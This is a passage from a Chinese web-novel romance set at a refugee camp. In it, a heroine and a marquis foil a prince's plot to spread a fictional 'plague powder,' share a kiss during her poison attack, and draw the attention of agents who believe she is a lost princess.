只见桌上摆着半碟黑乎乎的腌菜,旁边是一碗稀得发清的粥水,还有一块黑色的不明物体。 他们看不清,下意识都认为是些不好的东西。 静了,没人说话了。 他们的脸上浮出羞愧和不安,却依旧没人说话。 人群自动为夏清棠和晏无咎让出一条路,两人走进帐篷。 夏清棠几不可察的叹气声落入每个人的耳中,“侯爷整日都在带队清淤河道,却嘱咐我说他就要吃这些”。 “方才我见外面大锅灶那里人没几个了,就想着给侯爷看看,能不能给他再盛点饭,谁曾想……” “谁曾想……居然闹成现在这副局面” “我们也不是故意的啊,这谁知道啊” “夏姑娘,我早就知道你们不会骗我们,刚才想替你们说话来着,都怪他们声音太大了” “少说两句吧你!” 晏无咎长睫低垂,周身冰冷气息少了些,他想说话,可这女人的心声……算了,还是看她发挥吧。 夏清棠一脸受伤,声音带着颤抖,“我知道你们不相信我,你们不相信我,我理解,毕竟我只是侯爷府上的表小姐,可是侯爷呢?”。 “侯爷在回京城前,整日在前线杀敌,为的是谁,为的不就是在场的各位能平安生活吗?” “可是自从回京城后,侯爷就屡屡遭受刺杀,我问侯爷是否后悔,侯爷却说,一切都值得” “他说,看到百姓安居乐业,一切都值得” “直到今日,侯爷都从未有过一句怨言” “……” 一声声带着颤音的叙述,刺进在场每个人的心中,甚至有人悄悄抹起眼泪。 “侯爷,我们错了” 一时间,道歉声又层层响起。 晏无咎眸光隐晦的注视着满眼满意的夏清棠,只觉得心口很麻,很酸,他眨眨眼,憋回就要溢出眼眶的泪水,“你们该谢谢夏姑娘”。 “没她,本侯早投胎八百回了” “是啊,多亏了夏姑娘” “前阵子满香楼的事,也是夏姑娘跟那群世家贵族对抗,维护侯爷” “对对对,我还听说,侯府表小姐就是夏姑娘不仅救了侯爷,还救过圣上!” “我家姑娘生娃就多亏了夏姑娘的帮忙” “一个女子敢来这帮侯爷管着我们,我这个大老爷们是真佩服” 夸赞声一句接一句,每个人都细数着夏清棠的优点,越说,心底竟越觉得佩服。 渐渐的,夸赞声越来越真切,人们看向夏清棠的神情也越发真诚。 夏清棠挑眉,压下心底异样情绪。 【这个晏无咎蛮上道的嘛,不错不错,有进步,多亏我这个救世主的榜样作用】 【不过,现在还有两人得先让晏无咎处置了】 第四十六章侯爷铁勺刮锅底 刚才率先站出来闹事的两个大汉,眼见事情走向不对,悄咪咪的打算趁乱逃走。 “站住” 两人被拦住。 大汉甲:“侯爷,夏姑娘,我们也是心急,不小心搞错了,我们绝对不是故意的!” 大汉乙:“对对对,我发誓!” 夏清棠冷笑,“老三老四,搜他们身”。 老三老四是夏清棠给暗三暗四起的爱称,晏无咎起的名字叫着太显眼了。 晏无咎就站在一旁,一双寒眸冰冷的凝视这两个彪形大汉,看的他们浑身发颤。 流民们窃窃私语,他们不知道侯爷和夏姑娘是何用意,只是在庆幸方才自己没有耍威风。 暗三暗四分别从两个大汉身上摸到两个小药包。 “夏姑娘,侯爷,是两个小药包” 夏清棠点头,“把大夫叫进来”。 看到这阵仗,流民也意识到搜这两个大汉的身没那么简单,纷纷仰着头要看个究竟。 大夫急匆匆挤进人群,接过夏清棠受伤的药包,小心拆开,看到里面药粉的颜色,他脸色先是一变。 居然是黑的,一般这种色儿的,就和毒字脱不了边儿。 大夫将药粉放到鼻尖细细嗅闻,脸色变得越发难看,他声音带着怒气,“这、这竟然是疫粉!”。 “疫粉?!” 人群发出惊呼,这东西看着就不是什么好东西,现在听着更不是什么好东西。 晏无咎:“细说” 大夫神色凝重,“这东西可是朝廷禁药!”。 “我去!” “我勒个老天奶,什么人搞的朝廷禁药来这阴侯爷来了” “不仅阴侯爷,还想要了咱们的小命” 大夫点头,“不错,这东西确实会要了我们的小命”。 “疫粉,食之,不仅加重疫病,疫病扩散的速度也会大大加快” “老夫活了这么多年,也只有年少时在我师傅那偶然见过一次,没想到这么多年了,居然在这看到了” 大夫脑中突然灵光一闪,他薅着胡子大喊道,“怪不得,怪不得这疫病的药方这么难配,我带过来的药材耗尽也只能配出药效低微的方子”。 察觉到四面八方投来的充满希冀的目光,大夫赶忙解释,“这方子确实难配,一般人搞不出来,可惜了,我是一般人”。 嗐! 晏无咎抬手,“把这两个罪犯绑起来!”。 “侯爷饶命啊,我们也是被人骗了,我们根本不知道这东西这么可怕!” “侯爷!我们真的不知道,就是有人拦住我们给了我们几两银子,又塞了一包药粉,说找机会下到饭里或水里,事成之后,再给我们银子” 两个大汉苦苦哀求,眼泪鼻涕糊了满脸。 晏无咎眼神漠然,声音更是刺骨的寒,“拖下去,严刑问候,说出真话为止”。 “是” 王淑芬泼辣喊骂,“真是好歹毒的人啊,居然想下药把我们这么多人都给搞死!”。 “呸!不要脸” 一口浓痰吐在被拖行离开的大汉脸上。 “前些日子,满香楼的事我也听说来,都说四皇子欺负侯爷,镇北候府上整日吃馒头咸菜,我还不信” “现在,我是真信了,人善被人欺啊” 王淑芬:“可不是嘛,今日这还是多亏了夏姑娘,一直守在外面,夏姑娘这么聪慧,待在侯爷身边见识的也多,肯定早就想到有人要动手脚!” “怪不得,怪不得夏姑娘一直叫那几个男的看着水锅和饭锅,我还以为是怕我多吃了” “我也是” 王淑芬:“你们这群小心眼的,那心眼还没个芝麻粒大” “夏姑娘,大娘以后绝对听你的,你叫往西绝对不往东!” “夏姑娘,大爷以后也绝对听你的,你叫往南绝对不往北!” “……” 夏清棠笑看着这群争着要表现的流民,“大家散了吧,天色不早了,该休息了,歇好明天才有力气干活!”。 “夏姑娘说的对,我去歇息了” “夏姑娘和侯爷也早点休息!” 哗啦啦。 人群瞬间散去。 帐篷里夏清棠和晏无咎相对而立,晏无咎率先说话,“这次多亏你了”。 夏清棠浅笑,“别忘了让安大夫帮我治病就好”。 【解了毒,我就自由了!哈哈哈哈哈!】 晏无咎眸光闪烁,思是无意般问道,“你帮了我这么多,就只有这一个要求吗?若是有其它,你也可以提”。 夏清棠思索了老大会儿。 【我倒是想啊,可是你这么穷光蛋侯爷,我问你要钱,怕是也要不出多少吧】 【朔千钰有钱,要是晏无咎能去偷点抢点就好了】 夏清棠摇摇头,“我岂敢奢望再提其它要求,如此这般,我便知足”。 穷光蛋?晏无咎眉梢轻挑,眼底划过一丝诧异,这个女人真的是……这么为他考虑。 这么喜欢他? 此刻,晏无咎完全忘记前些日子的他咬牙切齿的说夏清棠靠近他都是为了安瑾,满脑子都是对他这么好,不是喜欢他是什么。 夏清棠不知道晏无咎在傻笑什么,她肚子饿了,“晏无咎,我先出去吃饭了”。 晏无咎没有丝毫犹豫,“好,我和你一起”。 夏清棠莫名其妙的看他一眼,手指向桌上的饭,“你要去外面吃的话,这些我吃了”。 晏无咎:? 这个女人刚才不是还邀请他一起吃饭吗? 晏无咎面上的欣喜转变为疑惑,眼睛直勾勾盯着夏清棠。 头皮有点麻,吃的正香的夏清棠抬头,声音里是护食的警惕,“晏无咎,你不会又觊觎上这些饭了吧”。 【不是吧,晏无咎是见不得我吃吗,我吃啥他都要抢】 晏无咎嘴角抽搐了几下,“放心,不跟你抢吃的”。 放下这句话,晏无咎转身走向外外面锅灶处,看到锅里的残羹冷饭,晏无咎瞬间明白夏清棠的用意。 原来她本是想自己来吃这最后的残羹,让自己在屋里吃那些,虽看着很差,但还温热且量足的饭。 又想到方才夏清棠几乎是狂风席卷一般的吃饭速度,晏无咎喉结滚动,眸光越发深沉。 他拿起大铁勺,非常仔细的将锅底刮得干干净净。 不少人看到,纷纷在心底感叹,侯爷和夏姑娘这样的好人,他们居然那样误会他们。 第四十七章终于明白 屋里夏清棠吃的畅快,馍馍就菜,再来点热汤。 爽! 瞬间感觉一天的疲劳消失殆尽。 夏清棠有滋有味的嚼着口中的粗粮馒头,这可是好东西,在现代,这东西可是健康的贵价馍。 噗! 鲜血喷洒在就要见底的碗上,方才还满脸的轻松的夏清棠现在嘴边流着血,右手死死攥着胸前的衣裳,大口喘着气,像一条濒死的鱼。 靠!又来了。 “晏……晏无咎” 声音有气无力,并不足以让外面的人听到,浑身剧痛的夏清棠踉跄起身,忍着噬骨的痛意往帐篷外走。 “啊!” “夏姑娘,你怎么了!” 正巧来找夏清棠的王淑芬看到这一幕,登时吓得脸色煞白,她尖叫着往外跑。 “不好了!不好了,夏姑娘晕倒了,还吐了好多血!” 铮! 晏无咎扔下铁勺,一道残影掠过,下一秒,他抱住夏清棠,声音不再冷静。 “夏清棠,夏清棠你又犯病了” 夏清棠浑身都疼,疼的她现在十分清醒,乍一听到晏无咎这话,她甚至以为这男人又是在阴阳怪气。 可是,目光触及那张俊脸上的焦急与关切,好像是真的。 夏清棠抓住晏无咎的手,死死抓着,她的心却一寸寸冷下来。 【为什么!为什么还这么疼啊!】 【为什么都这么近距离挨着晏无咎,甚至还死死抓着他的手,还、还这么疼】 夏清棠急切地在晏无咎身上摸来摸去,晏无咎脸上表情空白一瞬,很快,他意识到什么,厉声呵退好奇张望的人群。 王淑芬大着胆子问了一嘴,“侯爷,我去叫大夫吗?”。 晏无咎:“不必!” 大夫叫过来,翻来覆去也说不出什么有用的话。 晏无咎握住夏清棠乱摸的双手,充满蛊惑的低沉声音在夏清棠耳边响起,“夏清棠,是不是摸我,能让你好受点”。 夏清棠现在满脑子都是好疼,都是为什么摸晏无咎没用了的哀嚎,根本听不到晏无咎在问什么。 【为什么摸了晏无咎都这么疼,为什么……为什么,是不管用了吗?】 夏清棠觉得,【我好像要疼晕了,不,我好像要疼死了】。 听到心声,晏无咎甚至松了一口气,摸他,摸他能让夏清棠好受。 晏无咎抓起夏清棠的双手,胡乱的往自己身上摸,嘴里还絮絮叨叨的问,“行不行,这样行不行”。 他把自己的衣服扯开,抓着夏清棠冰凉的双手往自己的胸膛上按。 “疼…好疼” 痛苦的呢喃声灌入耳朵,晏无咎猛地停下手中动作,慌到脑子宕机的他突然清醒,摸他不管用了,夏清棠说摸他不管用了。 他的脑子里突然浮现出一个大胆的想法。 破罐子破摔般,晏无咎双手托住夏清棠的头,俯身低头,滚烫的吻落下,带着几分慌乱迷茫的急切。 这样,这样会好受些吗? 脑子陷入混沌的夏清棠意识依旧溃散。 唇上好暖,好软,身上好像没那么疼了。 她的唇不自觉地回应。 晏无咎眸光一亮,她回应了,是不疼了吗,为什么没有心声,这样想着,他的吻更加急切,甚至带上几分掠夺的意味。 “唔!” 【好疼!】 晏无咎眸光暗下去,唇上的力道松懈。 【为什么是嘴疼】 晏无咎眸光又一亮,滚烫的唇又用力覆上,舌尖撬开齿关,他吻的越加深沉。 夏清棠双目紧闭,像是陷入梦魇,晏无咎只能从那零星心声,得到些有用的信息。 直到再也听不到任何回应,直到耳边夏清棠的呼吸声渐渐平稳,晏无咎眷恋的停下吻,掌心稳稳托着夏清棠的后脑勺,他的眸光落在夏清棠平静的脸颊上。 呼—— 他长呼一口气,心底也终于明白自从认识夏清棠以来,她所有的异样的举动。 靠近他,帮助他,为的是得到安瑾的救治,触摸他,那些充满的爱意的举动,是因为,摸他可以减轻毒发时的痛苦。 呵…… 晏无咎喉结滚动,溢出两声轻笑,长睫低垂,叫人看不清他眼中神色。 良久,他指尖轻抚上夏清棠鬓边的碎发,像是在对床上的女人说,又像是在自言自语,“你本事确实是大”。 “亏我能听到你心声,居然这么久了……才知道” “你说这是一本书,那你的生活的地方是什么样的书” “嗤!” “我真是疯了,居然跟个疯子一样在这儿自言自语” 晏无咎动作轻柔将床上的夏清棠安置好,动作利落的向帐篷外走,只是,背影里带着些落荒而逃的味道。 王淑芬和几个流民一直在帐篷外等着,现在看到侯爷走出,几人心里没底。 王淑芬大着胆子问,“侯爷,夏姑娘怎么样了?”。 晏无咎停下脚步,声音还带着丝暗哑,“嗯,她好多了,现在得休息”。 说完,他看了看几人,脱口而出的找人去照顾她卡在喉间,这里的人信不过。 王淑芬:“侯爷,那要不要找人去照顾夏姑娘,我们这几个妇女,可都是照顾人的一把好手啊” 晏无咎:“不用,我会找人照顾她” 他揉揉眉心,意识到这样不妥,又朝着王淑芬说,“算了,你跟我进去”。 王淑芬连忙应声,又转身朝自己的小姐妹嘱咐,记得去看自己女儿。 跟侯爷和夏姑娘走的近些,自家姑娘和外孙说不定能过的再好些。 “哎呦,夏姑娘身上都是血,怎么嘴还是肿的” 王淑芬皱眉看着木床上的夏清棠,她刚才是看到夏姑娘吐血了,可是吐血……吐血嘴也会肿吗? 总感觉有点眼熟,她的目光不自觉看向晏无咎。 “咳!” 王淑芬唰的收回目光,专心照顾夏清棠。 晏无咎就站在帐篷口处,良久,王淑芬走出来。 “侯爷,夏姑娘醒了” 晏无咎心底讶异,这么快,他还想着她要直接睡一觉。 “侯爷,夏姑娘说她身体还有些不适,先睡觉了” 晏无咎:“行” 这才正常。 第四十八章脑嗨 晏无咎站在帐篷外吹冷风,背影有点萧瑟。 “暗五” “主子,我在” 晏无咎:“再派几个人去找安瑾,催催他” “是,主子” “他要不是什么要紧事的话,就抓回来” “……是,主子” …… 四皇子府上,朔千钰一脸志得意满的品着茶。 “四皇子这招实在是高明啊!镇北候这次可真是栽了,哈哈哈哈!” 朔千钰满眼不屑,“我就不信他晏无咎有这个好脑子能躲得过”。 “而且……要搞他的可不止我” “四皇子高明,高明啊!” 朔千钰眼神突然变得阴鸷,“听说,他身边那个丫鬟也在京郊漕运处?”。 “是,听说那日,不少人见镇北候骑着马,怀里还抱着个人” “脸捂得严严实实的,就露出那么一下,就叫咱们的暗卫瞧见了” 朔千钰:“不错嘛,不枉我上次救你耗了那么多珍贵药材” 王侍郎连连称是,“四皇子,在下做的最不后悔的一件事,就是从一而终的效忠你”。 朔千钰:“那边进程如何了?” 王侍郎额头浮出薄汗,“自从又涌进去大量流民后,那边守卫就加强了,我……我们的人进不去”。 朔千钰冷嗤,“晏无咎这个草包武将,也就会点武力手段了”。 王侍郎连忙找补,“四皇子,你放心,闹事那俩进去了”。 “那么多流民吃不饱穿不暖,本来心情就不爽,那俩人再稍微一煽动,哎!说点风凉话,这晏无咎再怎么也得掉点肉星了” 朔千钰满意的点头,眼中自傲就要溢出。 “还有呢?” 王侍郎疑惑,一下没想起来还有啥。 朔千钰眉头瞬间皱起,声音带着不满,“药粉!”。 王侍郎:“噢噢噢,四皇子你说的是疫粉啊,您放心,您放一百个心!” “闹事那俩人都进去了,悄悄放个药粉,肯定很容易” “只需吃饭或者喝水的时候,这么轻轻一洒、一挥,哎!肯定就妥了” 王侍郎一脸贼眉鼠眼,手上还模仿着动作,说罢,他又一脸讨好的看向朔千钰。 朔千钰随意的瞟了王侍郎一眼,“不错”。 “很不错,你办事,我一向放心,更不用说,办的对象还是晏无咎这个草包蠢货” 王侍郎弓着腰连连称是。 朔千钰危险眯眼,“方才听你讲,晏无咎好像很关心夏清棠”。 王侍郎低眉顺眼,“是,以我多年看人的眼光,他们二人之间的关系绝对不一般”。 朔千钰像是发现天大的喜事一般,仰天大笑,“哈哈哈,真是有意思极了”。 他漫不经心把玩着手中茶杯,似是无意般说道,“不知道是死一个好,还是死两个好”。 王侍郎眼珠子一转,立马接过话茬子,“四皇子,依我看,不论哪种情况,都叫人看的爽快”。 “不过…最爽快的,还要是……” 朔千钰:“说来叫我也爽快爽快” 王侍郎:“这京郊漕运处河道堵塞,流民聚集,本来就是个棘手事,晏无咎本就处理不好,现在我们又给他加了点料,到时候,事一闹大,晏无咎这名气可就……哎!哈哈哈” “万人唾骂,不比让他直接死了有趣多了” 朔千钰没笑,只冷冷质问,“你在说什么废话,这不是我们这次行动后,晏无咎受到的最基本的后果吗”。 王侍郎被噎住了,四皇子今日格外的不好说话,咽了咽唾沫,王侍郎灵光一闪,“四皇子,还有晏无咎身边那个什么表小姐啊”。 朔千钰:“继续说” 王侍郎:“我们可以从这人身上再做文章,就说堂堂镇北候,罔顾流民性命,所有人吃不饱穿不暖的时候,他居然在帐篷里饮者美酒,吃着美食,抱着美人!” “届时,这晏无咎的名声那可真是臭上加臭,昔日形象光辉的大将军,背地里不仅贪污腐败,贪了他们的粮食,还是个声色犬马之人” 王侍郎看向朔千钰,语气讨好中又夹杂着癫狂,“他们二人统统都跳不掉!”。 朔千钰站起身,走进王侍郎,拍了拍他的肩膀,“不错不错,王侍郎,看来上次被火药一炸,你这脑子好了许多”。 “晏无咎和夏清棠,一对儿名声比茅坑还臭的鸳鸯?哈哈哈,有趣,实在是有趣” “本皇子倒要看看,夏清棠那张伶牙俐齿的好嘴,能不能保住他们的名声” 见朔千钰心情不错,王侍郎又说,“四皇子,我们还是得小心为妙,经过上次军营火药一事,我觉得晏无咎没那么蠢了”。 朔千钰打心底里看不起晏无咎,自然也不把王侍郎这话当回事儿,他随意的应了两句,“是吗,那看来我们是得小心了”。 王侍郎还想再说些什么,朔千钰却摆摆手,“你下去吧,回去的时候小心点,别叫人瞧见了”。 王侍郎躬身做揖,缓缓退下。 朔千钰细品杯中茶,说来,夏清棠是朔砚辞安插在晏无咎身边的卧底,现在夏清棠也在京郊漕运处,若是这女人死了,那朔砚辞岂不是失了一枚大将。 这一石二鸟之计,妙啊,实在是妙! “哈哈哈” 朔千钰此刻心情畅快的很,仿佛这几人的悲惨模样和失意模样已经摆在眼前。 门外传来声响。 “四皇子,灵汐公主来了” 朔千钰拧眉,倒是没想到他这皇妹能这么快被放出来。 “进来吧” “皇兄~” 朔灵汐这几日在皇宫里管教嬷嬷手下真的是要憋坏了,“皇兄,听说晏无咎在京郊?”。 “嗯” 朔灵汐:“那我……” 朔千钰冷声打断,眼神透着嫌弃,“你别想去,你去就是送死”。 朔灵汐脸上温顺消失,“为什么不让我去,皇兄你就这么看不起我?”。 朔千钰:“皇妹,皇兄也是为你好,那种地方,你这个尊贵的公主怎么能去” 朔灵汐翻白眼,“那我到底什么时候才能得到晏无咎,你口口声声为我好,我现在连晏无咎的手还没摸到,那还怎么折磨他”。 朔千钰目光悠远,“快了,到时候,你想怎么对他就怎么对他,不管是扒皮还是挖眼珠,都好”。 朔灵汐瞬间兴奋,“真的!皇兄,我就知道你最棒了,皇兄,还有那个夏清棠,我也想要她”。 “谁叫她玷污了晏无咎” 朔千钰轻笑,“行,不过一群蝼蚁罢了”。 “不过,你现在最好给我安生点,若再在父皇那落下口舌,你…可就没好果子吃了” 朔灵汐笑嘻嘻的应下,眼里却闪着狠光。 第四十九章贺柏 晨光熹微,帐篷内,夏清棠猛然惊醒。 呼—— 做噩梦了,做的这是什么噩梦,简直太恐怖了,她居然梦到和晏无咎吃嘴子了,天呐。 夏清棠难受的闭了闭眼,造孽啊,怎么能梦的这么细,甚至……甚至唇齿交融的羞耻触感,她都感觉到了。 夏清棠呆愣愣坐在木床上,脸色爆红,整个人一副魂飞了的状态。 “夏姑娘,醒了没,侯爷叫我来给你送些饭” “嗷嗷,我醒了” “你进来吧” 王淑芬端着饭一脸喜色的走进来,目光触及夏清棠烧红的脸蛋,她的脸色骤然变急,快步走到夏清棠身边。 “哎呦!夏姑娘你脸怎么这么红啊,不会是发烧了吧” 王淑芬焦急的说着就要伸手去摸。 夏清棠躲开,“王大娘,我没事,我就是刚睡醒的,热的”。 王淑芬又看了几眼,拍拍胸口,“没事就好,没事就好”。 “王大娘,你女儿和外孙怎么样了” 王淑芬拉起夏清棠的双手,一脸感动,“夏姑娘,真的是多亏你和大夫了,我姑娘和外孙现在都很好,有了守卫,那个疯婆子也不敢闹事”。 “噢噢,那就好” 王淑芬开始和夏清棠唠家常,她村上的秘事,尽数说去给夏清棠听,夏清棠听的兴起,一时还真忘了那噩梦。 晏无咎大清早在帐篷外站了老久,却迟迟不见两人出来,直到听到帐篷里传来的阵阵笑声。 “侯爷,我们什么时候走” 萧策也在不远处看了晏无咎好久。 晏无咎:“现在” 萧策:“是” 晏无咎:“今日你留在这儿” 萧策:“是…是有什么事吗,侯爷” 晏无咎:“这里流民太多,你留在这帮着她点” 萧策了然,这个她必定是夏清棠,没想到,没想到这个女人的本事确实是大。 昨日发生的事,他在场,来龙去脉也都知道,这个女人确实有两把刷子。 晏无咎:“你有意见?” 萧策温润微笑,“没有”。 晏无咎带着人离开,继续去清淤河道,这是最关键的大工程,马虎不得。 夏清棠走出帐篷看到的萧策,很意外,同时,心里也升起一丢丢尴尬的小情绪。 自从知道萧策不是萧神医,而是萧副将之后,她对着他真的是有点笑不出来。 萧策率先向夏清棠走来,脸上一如既往挂着温润笑意,“夏姑娘”。 夏清棠立马切入表演状态,脸上也挂出温柔笑容,“萧副将”。 萧策:“夏姑娘实在是抱歉” 夏清棠:“都过去了,侯爷呢?” 萧策想到自家侯爷的样子,“侯爷似乎是有话对你说,在帐篷外等了好久才离开”。 夏清棠庆幸,还好晏无咎走了,她现在可真的不能看到晏无咎那张脸。 难受。 萧策注意到眼前夏清棠明显松了一口气的样子,听到侯爷离开,她好像很开心。 是两人间发生了什么,还是,夏清棠其实根本不心悦侯爷。 “萧副将,侯爷有没有交代什么事” 萧策回神,温声回道,“侯爷相信你,叫我好好辅助你”。 “这样啊” 夏清棠心思一转,晏无咎现在都这么相信她了?她昨天帮了他这么多,应该不是让萧策来监控自己的吧。 不对,昨日晏无咎只让她留在这都放心,看来,她在晏无咎那的信任已经有百分之八十八了。 哈哈哈,只要不再出什么岔子,解毒的日子近在咫尺,自由的日子指日可待啊。 萧策微笑,“夏姑娘今日可有什么安排?”。 夏清棠:“老样子,把这群人看好” “咳,还有,你们的神医好友什么时候来,这里这几个大夫治不了这疫病” 夏清棠一脸惆怅,“这事儿,拖不得啊”。 萧策心惊,侯爷居然连安瑾医术高超这事都告诉她了,侯爷真是…… “你觉得呢,萧副将” 萧策:“夏姑娘说的对,这事确实拖不得” 夏清棠郑重的拍了拍萧策的肩膀,“当个事办,赶紧叫人去催,实在不行,就抓过来”。 萧策怔住,“行,行,夏姑娘你放心”。 算算日子,安瑾家里的事也该解决了,应该马上就能赶来。 夏清棠心中思索,现在最要紧的事除了她身上的毒外,就是送去给贺柏的信和河道的清淤。 贺柏那么聪明正直,一定会很快将事情联系起来,并且以最快速度将粮仓凭证送来。 最迟,最迟明天,若是还没回信,她就叫着人亲自去把那漕运总督给劫喽。 …… 贺府。 贺柏眉头皱的能夹死苍蝇,这两天怎么这么多事。 “太傅,府外……” 贺柏头都没抬,“拒了,所有请帖统统拒了,尤其是朔千钰和朔砚辞的”。 “身为皇子,整日没个正形” 小厮为难道,“太傅,都不是”。 贺柏抬头,“讲”。 小厮:“那人穿的一身破破烂烂的,像个乞丐,居然说是镇北候的人” 谁不知道那镇北候和他家太傅最不对付。 见太傅皱眉,小厮连忙说,“小的这就把他赶走”。 “不必” “请进来” 贺柏也好奇,到底是不是晏无咎的人。 乞丐样暗卫走入贺府大门。 贺柏:“说吧” 乞丐样暗卫不语,只是将手中的信递出去。 夏姑娘可是说,他一句话也不用讲,这封信足矣。 贺柏双眼眯起,脸色无常。 京郊漕运?为何他不知还有这事儿,还有最后这句话,是晏无咎的道歉吗? 夏清棠?晏无咎倒是得了个好帮手。 贺柏看完信中内容,抬眸看向底下的乞丐,“行了,告诉你家主子,我知道了”。 乞丐样暗卫:“哎!好的” 第五十章感情攻击 贺柏:“备车马,去漕运总督府” “隐秘些,旁人问起,就说我去应约” “是,主子” …… 不过第三日,这些粮食便已要见底。 还是深秋季节,连个野菜影子都见不到。 夏清棠交代萧策,“你带些健康身体好的流民和兵卒去找找看,尽量捡点柴火”。 “我昨天看了,不少荒滩地有破木船” 夏清棠:“我们需要热水,柴火不能少” 萧策有些迟疑,面上带着点担心,“夏姑娘你一个人在这,万一……”。 夏清棠知道萧策在担心什么,“放心,又不是让你把所有兵卒都带走,况且,还有侯爷专门留给我的人手”。 “倒是你,当心着点,看好人” 萧策笑出声,这夏姑娘还真跟之前不一样啊,之前总是温声细语的喊自己萧公子。 “既然夏姑娘都发话了,那萧某便先行一步” “嗯” 人一走,就显得这里空旷了许多。 剩下的人不免开始窃窃私语。 突兀的争吵声突然传来。 “凭什么!凭什么不让我们进去,那些人也是流民,我们两个也是流民啊!” 声音好耳熟,夏清棠抬眼望去,双眸微眯,这不是熟人嘛。 她的救世主。 辜战还在激烈的和守卫争吵,身旁是同样一身破烂的江汐汐,扮作就要饿晕的流民, 辜战骂骂咧咧,唾沫星子飞溅,“我们沿漕河走了半个多月,就是听人说侯爷心善,才来这的,现在你告诉我们不让进!”。 “哎呦,苦啊,我和我姐怎么这么命苦啊” 挺壮实的一男的,竟然哇哇哭起来。 守卫依旧拒绝,甚至要举起长枪驱赶。 江汐汐整张脸都被凌乱的长发遮掩,撒泼打滚不好用的话,那就只能撒点药粉了。 眼见破烂长袖下的手就要挥出。 “救世主?” 江汐汐手一抖,辜战心一颤,两人对视,毫无意外,都从对方眼里看出震惊。 她怎么在这!? 守卫小兵没听清,只是禀报,“夏姑娘,这俩人鬼鬼祟祟,一看就不是安生的”。 夏清棠点头,“你做的很好,千万不能把这俩人放进来”。 江汐汐抿唇,眼神中竟透露出一丝伤心,他拉住就要暴走的辜战,示意其安静。 夏清棠冷哼,这俩人会武功,还乔装打扮成这样,鬼鬼祟祟的要混入流民群,绝对不是来干好事。 “怎么,你们两个还不走?” 辜战憋不住了,“我们两个可是…唔!” 江汐汐捂住他嘴。 夏清棠微笑,戏谑道,“是什么,是我的救世主吗?”。 江汐汐拉着辜战走了,这里人多眼杂,不能细说,而且主子小时候就和她们走散了,现在又被晏无咎控制,对他们这种来路不明的人恶语相向,很正常。 夏清棠轻啧一声,不再去想上次这俩人说的话,她就一小路人,这张脸有什么见不得人的,总不能是身上还背负着什么血海深仇吧。 突然,夏清棠脑中灵光一闪,书中说原主从京郊漕运出被撵回去的时候,在路上遭到刺杀,不会就是这俩人吧,杀不到她,就追到这来杀。 天哪噜,她也是涨段位了,居然被人追着杀。 …… “汐姐,她真的是小殿下吗?咋一点都不记得我们啊” 江汐汐语气笃定,“是她,绝对是她,我不会认错的,小殿下跟我走散的太早了,不记得很正常”。 辜战:“去他的晏无咎!居然敢给我们小殿下下毒!” “靠!我辜战不摆他一道,我跟他姓!” 江汐汐沉声应了句,“嗯”。 辜战眼睛一亮,汐姐居然这么纵容他,嘿嘿嘿,他凑近江汐汐,悄咪咪说,“汐姐,既然晏无咎给咱们小殿下下毒,那我们……”。 “然后再……” 辜战邀功似的看向江汐汐,“嘿嘿嘿,汐姐,你觉得怎么样,我是不是个天才”。 江汐汐:“嗯,不错” 辜战激动的猴叫一声,眼神带着亢奋和狠厉,“要我说,朔耀王朝这些人都该死,要是那些百姓呀流民啥的,都死了,哈哈哈,我看那个狗皇帝上哪当皇帝去”。 啪! 江汐汐一掌拍在辜战头盖骨上,声音沉静,“我们并没有这个本事”。 “而且,我们不能在外败坏小殿下的形象,百姓和这些流民,同样也是我们反抗的重要工具” “小殿下此举,做的很对” 辜战刚被拍灭的火花又唰的燃起,“不愧是我们的小殿下,就算啥也不记得,还这么牛逼”。 江汐汐冷冷的瞥了身旁辜战一眼,“你别太张扬”。 辜战:“好嘞” 江汐汐想到方才夏清棠对他们说的话,心底不安,“她好像并不相信我们上次说的话,不能在狗皇帝面前露脸”。 辜战脸上神情难得正经,“我有一个好办法”。 江汐汐:“讲” 辜战:“我们直接去把她给绑回来,先告诉她,她的真实身份,然后我们再上眼泪攻击,再说说晏无咎有多坏,朔曜王朝有多坏” “要是还不行的话,我们就告诉她,她娘还活着,然后我们再拿出皇后的画像,勾出小殿下脑海深处的回忆” 见江汐汐不回应,辜战再接再厉,“你忘了吗,小殿下小时候可是最和皇后亲近了,她们可是亲母子啊”。 “要是让小殿下知道,皇后娘娘这么多年来一直被囚禁在狗屁的朔耀王朝皇宫里,她一定会回归我们” “呃,其实还有最简单的方法,就是时刻跟着小殿下,她要我们干啥我们就干啥” “你觉得呢,汐姐,我简直是个天才,哈哈哈!” 江汐汐细细品味,觉得这两个法子出奇的都不错,什么最能改变一个人的想法,不就是利益、爱意和恨意吗。 “汐姐汐姐,如何啊,是不是被小爷我的法子震慑到了?” 江汐汐平静点头,“确实不错”。 “得先想法子把晏无咎搞了” 第五十一章流民开心 “阿喷!” “阿喷!” 干完活正往回走的晏无咎冷不丁打了两个喷嚏,周遭流民和兵卒见状迅速将脸上方布捂得更紧。 晏无咎拧眉,学着夏清棠的样子,将手放在自己额头上,摸不出来。 “侯爷,您没事吧?”,有人虽害怕,但抵不住怕死啊。 晏无咎:“无碍” 话虽如此,但还是形成了以晏无咎为中心的圆弧状站队。 晏无咎虽周身气息依旧冷厉,但脚下步伐却加快。 夏清棠望到人群的时候,神情微愣。 晏无咎被孤立了?还是晏无咎太凶了,前几天也没这样啊,不少人还上赶着想巴结晏无咎来着。 夏清棠走上前想问晏无咎怎么了,却扑了个空,晏无咎在躲她? 晏无咎只冷冷丢下一句话,“叫大夫过来”。 说完,便孤身一人站在昏暗角落,脸上神色难辨。 夏清棠恍然大悟,原来这人是觉得自己染病了,怕传染给她,晏无咎变善良了。 夏清棠跟着大夫一起朝晏无咎走过。 “不怕染病就过来” 夏清棠哇了一声,“原来侯爷躲着我,是怕我死哦”。 晏无咎没吭声,目光盯着大夫。 大夫被盯得瘆得慌,结结巴巴说,“侯…侯爷,这个病虽然传染,但是最初期是没有传染力度的”。 晏无咎:“嗯” 大夫一想到自己接下来要说的话,就恨不得把舌头咬断,“侯侯…爷,张嘴,吐舌头”。 晏无咎:“……” 夏清棠:┌(??_??)┘憋住不笑 虽然晏无咎很可能是生病了这件事很严肃,但是晏无咎这副损色儿样真的很招笑。 大夫:“侯…侯侯爷” 晏无咎:“知道了” 眸光瞥到夏清棠憋着笑的嘴角,晏无咎心底那点碍于颜面的尴尬反而消散,反而是升起一股隐秘的兴奋。 晏无咎抬头,慢悠悠张了口,舌尖却不是寻常人那样的吐出,反而是微微卷着,润红的舌尖泛着水光,晏无咎粘腻的目光看向夏清棠。 夏清棠脸上笑意瞬间僵住,昨晚的噩梦再次翻涌出来,一幕幕,怎么那么真实。 